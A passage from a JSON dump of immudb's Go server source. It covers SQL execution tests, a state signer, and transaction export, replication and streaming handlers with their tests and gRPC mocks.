&schema.SQLExecRequest{Sql: \"BEGIN TRANSACTION\"})\n\trequire.ErrorIs(t, err, ErrTxNotProperlyClosed)\n\n\txres, err := s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, xres.Txs, 1)\n\n\tres, err = s.DescribeTable(ctx, &schema.Table{TableName: \"table1\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, res.Rows, 1)\n\n\txres, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"INSERT INTO table1 (id) VALUES (1),(2),(3)\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, xres.Txs, 1)\n\n\tvar nRows int\n\terr = s.SQLQuery(&schema.SQLQueryRequest{Sql: \"SELECT * FROM table1\"}, &ImmuService_SQLQueryServerMock{\n\t\tctx: ctx,\n\t\tsendFunc: func(sr *schema.SQLQueryResult) error {\n\t\t\tnRows += len(sr.Rows)\n\t\t\treturn nil\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, nRows, 3)\n\n\te, err := s.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{Table: \"table1\", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}},\n\t\tProveSinceTx:  0,\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, e)\n\n\t_, err = s.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{Table: \"table1\", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}},\n\t\tProveSinceTx:  100,\n\t})\n\trequire.ErrorIs(t, err, database.ErrIllegalState)\n}\n\nfunc TestSQLExecResult(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\txres, err := s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, xres.Txs, 1)\n\n\txres, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"INSERT INTO table2 (name) VALUES ('first'),('second'),('third')\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, xres.Txs, 1)\n\trequire.Equal(t, map[string]*schema.SQLValue{\"table2\": {Value: &schema.SQLValue_N{N: 1}}}, xres.FirstInsertedPks())\n\trequire.Equal(t, map[string]*schema.SQLValue{\"table2\": {Value: &schema.SQLValue_N{N: 3}}}, xres.LastInsertedPk())\n}\n\nfunc TestSQLExecCreateDatabase(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE DATABASE db1;\"})\n\trequire.NoError(t, err)\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE DATABASE db1;\"})\n\trequire.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error())\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE DATABASE IF NOT EXISTS db1;\"})\n\trequire.NoError(t, err)\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE DATABASE IF NOT EXISTS db2;\"})\n\trequire.NoError(t, err)\n\n\t_, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: \"CREATE DATABASE db2;\"})\n\trequire.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error())\n}\n\ntype ImmuService_SQLQueryServerMock struct {\n\tgrpc.ServerStream\n\tsendFunc func(*schema.SQLQueryResult) error\n\tctx      context.Context\n}\n\nfunc (s *ImmuService_SQLQueryServerMock) Send(res *schema.SQLQueryResult) error {\n\treturn s.sendFunc(res)\n}\n\nfunc (s *ImmuService_SQLQueryServerMock) Context() context.Context {\n\treturn s.ctx\n}\n"
  },
  {
    "path": "pkg/server/state_signer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n)\n\ntype StateSigner interface {\n\tSign(state *schema.ImmutableState) error\n}\n\ntype stateSigner struct {\n\tSigner signer.Signer\n}\n\nfunc NewStateSigner(signer signer.Signer) *stateSigner {\n\treturn &stateSigner{\n\t\tSigner: signer,\n\t}\n}\n\nfunc (sts *stateSigner) Sign(state *schema.ImmutableState) error {\n\tif state == nil {\n\t\treturn store.ErrIllegalArguments\n\t}\n\n\tsignature, publicKey, err := sts.Signer.Sign(state.ToBytes())\n\n\tstate.Signature = &schema.Signature{\n\t\tSignature: signature,\n\t\tPublicKey: publicKey,\n\t}\n\n\treturn err\n}\n"
  },
  {
    "path": "pkg/server/state_signer_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewStateSigner(t *testing.T) {\n\ts, _ := signer.NewSigner(\"./../../test/signer/ec3.key\")\n\trs := NewStateSigner(s)\n\trequire.IsType(t, &stateSigner{}, rs)\n}\n\nfunc TestStateSigner_Sign(t *testing.T) {\n\ts, _ := signer.NewSigner(\"./../../test/signer/ec3.key\")\n\tstSigner := NewStateSigner(s)\n\tstate := &schema.ImmutableState{}\n\terr := stSigner.Sign(state)\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ImmutableState{}, state)\n}\n\nfunc TestStateSigner_Err(t *testing.T) {\n\ts, _ := signer.NewSigner(\"./../../test/signer/ec3.key\")\n\tstSigner := NewStateSigner(s)\n\terr := stSigner.Sign(nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n"
  },
  {
    "path": "pkg/server/stream_replication.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"strconv\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error {\n\treturn s.exportTx(req, txsServer, true, make([]byte, s.Options.StreamChunkSize))\n}\n\n// StreamExportTx implements the bidirectional streaming endpoint used to export transactions\nfunc (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error {\n\tbuf := make([]byte, s.Options.StreamChunkSize)\n\n\tfor {\n\t\treq, err := stream.Recv()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = s.exportTx(req, stream, false, buf)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n}\n\nfunc (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer, setTrailer bool, buf []byte) error {\n\tif req == nil || req.Tx == 0 || txsServer == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tdb, err := s.getDBFromCtx(txsServer.Context(), \"ExportTx\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttxbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(txsServer.Context(), req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar bCommittedTxID [8]byte\n\tstate, err := db.CurrentState()\n\tif err == nil {\n\t\tbinary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId)\n\t}\n\n\t// In asynchronous replication, the last committed transaction value is sent to the replica\n\t// to enable updating its replication lag.\n\tstreamMetadata := map[string][]byte{\n\t\t\"committed-txid-bin\": bCommittedTxID[:],\n\t}\n\n\tif req.ReplicaState != nil {\n\t\tvar bMayCommitUpToTxID [8]byte\n\t\tbinary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID)\n\n\t\tstreamMetadata[\"may-commit-up-to-txid-bin\"] = bMayCommitUpToTxID[:]\n\t\tstreamMetadata[\"may-commit-up-to-alh-bin\"] = mayCommitUpToAlh[:]\n\n\t\tif setTrailer {\n\t\t\t// trailer metadata is kept for backward compatibility\n\t\t\t// it should not be sent when replication is done with bidirectional streaming\n\t\t\t// otherwise metadata will get accumulated over time\n\t\t\tmd := metadata.Pairs(\n\t\t\t\t\"may-commit-up-to-txid-bin\", string(bMayCommitUpToTxID[:]),\n\t\t\t\t\"may-commit-up-to-alh-bin\", string(mayCommitUpToAlh[:]),\n\t\t\t\t\"committed-txid-bin\", string(bCommittedTxID[:]),\n\t\t\t)\n\t\t\ttxsServer.SetTrailer(md)\n\t\t}\n\t}\n\n\tsender := stream.NewMsgSender(txsServer, buf)\n\n\treturn sender.Send(bytes.NewReader(txbs), len(txbs), streamMetadata)\n}\n\nfunc (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateTxServer) error {\n\tif replicateTxServer == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tctx := replicateTxServer.Context()\n\n\tdb, err := s.getDBFromCtx(ctx, \"ReplicateTx\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif s.replicationInProgressFor(db.GetName()) {\n\t\treturn ErrReplicationInProgress\n\t}\n\n\tvar skipIntegrityCheck bool\n\tvar waitForIndexing bool\n\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif ok {\n\t\tif len(md.Get(\"skip-integrity-check\")) > 0 {\n\t\t\tskipIntegrityCheck, err = strconv.ParseBool(md.Get(\"skip-integrity-check\")[0])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif len(md.Get(\"wait-for-indexing\")) > 0 {\n\t\t\twaitForIndexing, err = strconv.ParseBool(md.Get(\"wait-for-indexing\")[0])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treceiver := s.StreamServiceFactory.NewMsgReceiver(replicateTxServer)\n\n\tbs, _, err := receiver.ReadFully()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thdr, err := db.ReplicateTx(replicateTxServer.Context(), bs, skipIntegrityCheck, waitForIndexing)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn replicateTxServer.SendAndClose(hdr)\n}\n"
  },
  {
    "path": "pkg/server/stream_replication_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestExportTxEdgeCases(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\terr := s.ExportTx(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\tctx := context.Background()\n\n\tlr, err := s.Login(ctx, &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t})\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\terr = s.ExportTx(&schema.ExportTxRequest{Tx: 0}, &immuServiceExportTxServer{})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc TestReplicateTxEdgeCases(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\terr := s.ReplicateTx(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = s.ReplicateTx(&immuServiceReplicateTxServer{ctx: context.Background()})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\tctx := context.Background()\n\n\tlr, err := s.Login(ctx, &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t})\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tstream := &immuServiceReplicateTxServer{ctx: ctx}\n\n\terr = s.ReplicateTx(stream)\n\trequire.ErrorContains(t, err, \"error\")\n}\n\ntype immuServiceExportTxServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (s *immuServiceExportTxServer) Send(chunk *schema.Chunk) error {\n\treturn errors.New(\"error\")\n}\n\nfunc (s *immuServiceExportTxServer) SendAndClose(tx *schema.VerifiableTx) error {\n\treturn nil\n}\n\nfunc (s *immuServiceExportTxServer) Recv() (*schema.Chunk, error) {\n\treturn nil, nil\n}\n\nfunc (s *immuServiceExportTxServer) Context() context.Context {\n\treturn context.Background()\n}\n\ntype immuServiceReplicateTxServer struct {\n\tgrpc.ServerStream\n\tctx context.Context\n}\n\nfunc (s *immuServiceReplicateTxServer) Recv() (*schema.Chunk, error) {\n\treturn nil, errors.New(\"error\")\n}\n\nfunc (s *immuServiceReplicateTxServer) SendAndClose(md *schema.TxHeader) error {\n\treturn nil\n}\n\nfunc (s *immuServiceReplicateTxServer) Context() context.Context {\n\treturn s.ctx\n}\n"
  },
  {
    "path": "pkg/server/stream_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestImmuServer_StreamGetDbError(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts := DefaultServer()\n\n\ts.WithOptions(DefaultOptions().WithDir(dir))\n\n\terr := s.StreamSet(&StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamGet(nil, &StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamScan(nil, &StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamHistory(nil, &StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamVerifiableGet(nil, &StreamVerifiableServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamVerifiableSet(&StreamVerifiableServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamZScan(nil, &StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\terr = s.StreamExecAll(&StreamServerMock{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n}\n\ntype StreamServerMock struct {\n\tgrpc.ServerStream\n}\n\nfunc (s *StreamServerMock) Send(chunk *schema.Chunk) error {\n\treturn nil\n}\n\nfunc (s *StreamServerMock) SendAndClose(*schema.TxHeader) error {\n\treturn nil\n}\nfunc (s *StreamServerMock) Recv() (*schema.Chunk, error) {\n\treturn nil, nil\n}\nfunc (s *StreamServerMock) Context() context.Context {\n\treturn context.Background()\n}\n\ntype StreamVerifiableServerMock struct {\n\tgrpc.ServerStream\n}\n\nfunc (s *StreamVerifiableServerMock) Send(chunk *schema.Chunk) error {\n\treturn nil\n}\n\nfunc (s *StreamVerifiableServerMock) SendAndClose(tx *schema.VerifiableTx) error {\n\treturn nil\n}\nfunc (s *StreamVerifiableServerMock) Recv() (*schema.Chunk, error) {\n\treturn nil, nil\n}\nfunc (s *StreamVerifiableServerMock) Context() context.Context {\n\treturn context.Background()\n}\n"
  },
  {
    "path": "pkg/server/streams.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n\t\"google.golang.org/protobuf/proto\"\n)\n\n// StreamGet return a stream of key-values to the client\nfunc (s *ImmuServer) StreamGet(kr *schema.KeyRequest, str schema.ImmuService_StreamGetServer) error {\n\tdb, err := s.getDBFromCtx(str.Context(), \"StreamGet\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(str))\n\n\tentry, err := db.Get(str.Context(), kr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkv := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(entry.Key)),\n\t\t\tSize:    len(entry.Key),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(entry.Value)),\n\t\t\tSize:    len(entry.Value),\n\t\t},\n\t}\n\n\treturn kvsr.Send(kv)\n}\n\n// StreamSet set a stream of key-values in the internal store\nfunc (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error {\n\tif s.Options.GetMaintenance() {\n\t\treturn ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(str.Context(), \"StreamSet\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkvsr := s.StreamServiceFactory.NewKvStreamReceiver(s.StreamServiceFactory.NewMsgReceiver(str))\n\n\tvar kvs = make([]*schema.KeyValue, 0)\n\n\tvlength := 0\n\tfor {\n\t\tkey, vr, err := kvsr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tvalue, err := stream.ReadValue(vr, s.Options.StreamChunkSize)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tkvs = append(kvs, &schema.KeyValue{Key: key, Value: value})\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tvlength += len(value)\n\t\tif vlength > stream.MaxTxValueLen {\n\t\t\treturn errors.New(stream.ErrMaxTxValuesLenExceeded)\n\t\t}\n\n\t\tkvs = append(kvs, &schema.KeyValue{Key: key, Value: value})\n\t}\n\n\ttxhdr, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs})\n\tif err == store.ErrMaxValueLenExceeded {\n\t\treturn errors.Wrap(err, stream.ErrMaxValueLenExceeded)\n\t}\n\tif err != nil {\n\t\treturn status.Errorf(codes.Unknown, \"StreamSet receives following error: %s\", err.Error())\n\t}\n\n\terr = str.SendAndClose(txhdr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// StreamVerifiableGet ...\nfunc (s *ImmuServer) StreamVerifiableGet(req *schema.VerifiableGetRequest, str schema.ImmuService_StreamVerifiableGetServer) error {\n\tdb, err := s.getDBFromCtx(str.Context(), \"StreamVerifiableGet\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvess := s.StreamServiceFactory.NewVEntryStreamSender(s.StreamServiceFactory.NewMsgSender(str))\n\n\tvEntry, err := db.VerifiableGet(str.Context(), req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvEntry.VerifiableTx.Signature = newState.Signature\n\t}\n\n\tvalue := stream.ValueSize{\n\t\tContent: bufio.NewReader(bytes.NewBuffer(vEntry.GetEntry().GetValue())),\n\t\tSize:    len(vEntry.GetEntry().GetValue()),\n\t}\n\n\tentryWithoutValue := schema.Entry{\n\t\tTx:           vEntry.GetEntry().GetTx(),\n\t\tKey:          vEntry.GetEntry().GetKey(),\n\t\tReferencedBy: vEntry.GetEntry().GetReferencedBy(),\n\t}\n\n\tentryWithoutValueProto, err := proto.Marshal(&entryWithoutValue)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tverifiableTxProto, err := proto.Marshal(vEntry.GetVerifiableTx())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tinclusionProofProto, err := proto.Marshal(vEntry.GetInclusionProof())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsVEntry := stream.VerifiableEntry{\n\t\tEntryWithoutValueProto: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(entryWithoutValueProto)),\n\t\t\tSize:    len(entryWithoutValueProto),\n\t\t},\n\t\tVerifiableTxProto: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(verifiableTxProto)),\n\t\t\tSize:    len(verifiableTxProto),\n\t\t},\n\t\tInclusionProofProto: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(inclusionProofProto)),\n\t\t\tSize:    len(inclusionProofProto),\n\t\t},\n\t\tValue: &value,\n\t}\n\n\treturn vess.Send(&sVEntry)\n}\n\n// StreamVerifiableSet ...\nfunc (s *ImmuServer) StreamVerifiableSet(str schema.ImmuService_StreamVerifiableSetServer) error {\n\tif s.Options.GetMaintenance() {\n\t\treturn ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(str.Context(), \"StreamVerifiableSet\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsr := s.StreamServiceFactory.NewMsgReceiver(str)\n\tkvsr := s.StreamServiceFactory.NewKvStreamReceiver(sr)\n\n\tvlength := 0\n\n\tproveSinceTxBs, err := stream.ReadValue(sr, s.Options.StreamChunkSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar proveSinceTx uint64\n\tif err := stream.NumberFromBytes(proveSinceTxBs, &proveSinceTx); err != nil {\n\t\treturn err\n\t}\n\n\tvlength += len(proveSinceTxBs)\n\tif vlength > stream.MaxTxValueLen {\n\t\treturn errors.New(stream.ErrMaxTxValuesLenExceeded).WithCode(errors.CodDataException)\n\t}\n\n\tvar kvs = make([]*schema.KeyValue, 0)\n\n\tfor {\n\t\tkey, vr, err := kvsr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tvalue, err := stream.ReadValue(vr, s.Options.StreamChunkSize)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tkvs = append(kvs, &schema.KeyValue{Key: key, Value: value})\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tvlength += len(value)\n\t\tif vlength > stream.MaxTxValueLen {\n\t\t\treturn errors.New(stream.ErrMaxTxValuesLenExceeded).WithCode(errors.CodDataException)\n\t\t}\n\n\t\tkvs = append(kvs, &schema.KeyValue{Key: key, Value: value})\n\t}\n\n\tvSetReq := schema.VerifiableSetRequest{\n\t\tSetRequest:   &schema.SetRequest{KVs: kvs},\n\t\tProveSinceTx: proveSinceTx,\n\t}\n\tverifiableTx, err := db.VerifiableSet(str.Context(), &vSetReq)\n\tif err == store.ErrMaxValueLenExceeded {\n\t\treturn errors.Wrap(err, stream.ErrMaxValueLenExceeded).WithCode(errors.CodDataException)\n\t}\n\tif err != nil {\n\t\treturn status.Errorf(codes.Unknown, \"StreamVerifiableSet received the following error: %s\", err.Error())\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(verifiableTx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tverifiableTx.Signature = newState.Signature\n\t}\n\n\terr = str.SendAndClose(verifiableTx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) StreamScan(req *schema.ScanRequest, str schema.ImmuService_StreamScanServer) error {\n\tdb, err := s.getDBFromCtx(str.Context(), \"Scan\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := db.Scan(str.Context(), req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(str))\n\n\tfor _, e := range r.Entries {\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Key)),\n\t\t\t\tSize:    len(e.Key),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(e.Value)),\n\t\t\t\tSize:    len(e.Value),\n\t\t\t},\n\t\t}\n\n\t\terr = 